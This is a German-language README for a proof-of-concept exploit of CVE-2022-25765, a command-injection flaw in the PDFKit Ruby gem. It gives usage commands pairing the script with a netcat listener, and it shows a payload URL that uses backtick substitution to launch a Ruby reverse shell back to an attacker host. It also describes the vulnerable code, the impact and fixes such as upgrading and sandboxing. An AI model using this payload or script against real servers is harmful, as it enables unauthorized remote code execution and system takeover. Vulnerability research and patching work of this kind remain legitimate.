CVE-2022-25765 Exploit
Ein kleiner PoC-Exploit für CVE-2022-25765, PDFkit-Befehlseinschleusung
Verwendung
-
Starten Sie einen Netcat-Listener auf Ihrem Angriffsrechner:
-
Führen Sie den Exploit aus:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Beispiel:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parameter:
-t, --target: Ziel-URL, die angreifbares PDFKit ausführt
-l, --lhost: Ihre IP-Adresse für die Reverse-Shell-Verbindung
-p, --lport: Ihr Port für die Reverse-Shell-Verbindung (muss mit Ihrem Netcat-Listener übereinstimmen)
CVE ID: CVE-2022-25765
CVSS v3.1 Bewertung: 9.8 (Kritisch)
EPSS Bewertung: 71.381% (99. Perzentil)
CWE: CWE-77 - Unzureichende Neutralisierung spezieller Elemente in einem Befehl
Betroffene Versionen
- Anfällig: PDFKit 0.0.0 - 0.8.6
- Behoben: PDFKit 0.8.7.2+
Beschreibung
PDFKit ist ein Ruby-Gem, das HTML mit dem Befehlszeilentool wkhtmltopdf in PDF konvertiert. Die Schwachstelle besteht darin, wie PDFKit URL-Parameter behandelt, bevor sie zur PDF-Erstellung an System-Shell-Befehle übergeben werden.
Technische Details
Die Schwachstelle befindet sich in lib/pdfkit/source.rb, wo die URL-Bereinigung nicht ordnungsgemäß implementiert ist:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Das Problem:
- PDFKit verwendet fehlerhafte Logik, um zu bestimmen, ob eine URL escaped werden muss
- Shell-Metazeichen (Backticks, Semikolons, Pipes usw.) können diese Prüfung umgehen
- Nicht bereinigte URLs werden direkt an Shell-Befehle übergeben, die wkhtmltopdf aufrufen
- Angreifer können beliebige Befehle einschleusen, die auf dem Server ausgeführt werden
Angriffsvektor:
- Komplexität: Niedrig
- Erforderliche Berechtigungen: Keine
- Benutzerinteraktion: Keine
- Netzwerkzugriff: Erforderlich
Wie dieser Exploit funktioniert
Dieser PoC nutzt die Schwachstelle aus, indem:
- Eine bösartige URL injiziert wird, die eine Backtick-Befehlsersetzung enthält
- Die Nutzlast:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
- PDFKit versäumt es, die Backticks im URL-Parameter zu bereinigen
- Wenn wkhtmltopdf die URL verarbeitet, führt die Shell die Ruby-Reverse-Shell aus
- Das Zielsystem verbindet sich zurück mit dem Listener des Angreifers
Auswirkungen
- Vertraulichkeit: Hoch - Vollständiger Systemzugriff
- Integrität: Hoch - Möglichkeit, beliebige Dateien zu ändern
- Verfügbarkeit: Hoch - Potenzial für Systemstörungen
Voraussetzungen für eine erfolgreiche Ausnutzung
Auf dem Zielsystem:
- Angreifbare PDFKit-Version (< 0.8.7.2)
- Ruby installiert (erforderlich für die Reverse-Shell-Nutzlast)
- Anwendung akzeptiert benutzergesteuerte URLs, die an PDFKit übergeben werden
- Keine Egress-Filterung, die ausgehende Verbindungen blockiert
Behebung
- Aktualisieren Sie PDFKit auf Version 0.8.7.2 oder höher
- Eingabevalidierung: Implementieren Sie eine strenge Positivliste für URL-Eingaben
- Sandboxing: Führen Sie PDFKit-Prozesse in isolierten Containern mit minimalen Berechtigungen aus
- Netzwerksegmentierung: Beschränken Sie ausgehende Verbindungen von PDF-Generierungsdiensten
- WAF-Regeln: Setzen Sie Regeln zur Erkennung von Shell-Metazeichen in URL-Parametern ein
Referenzen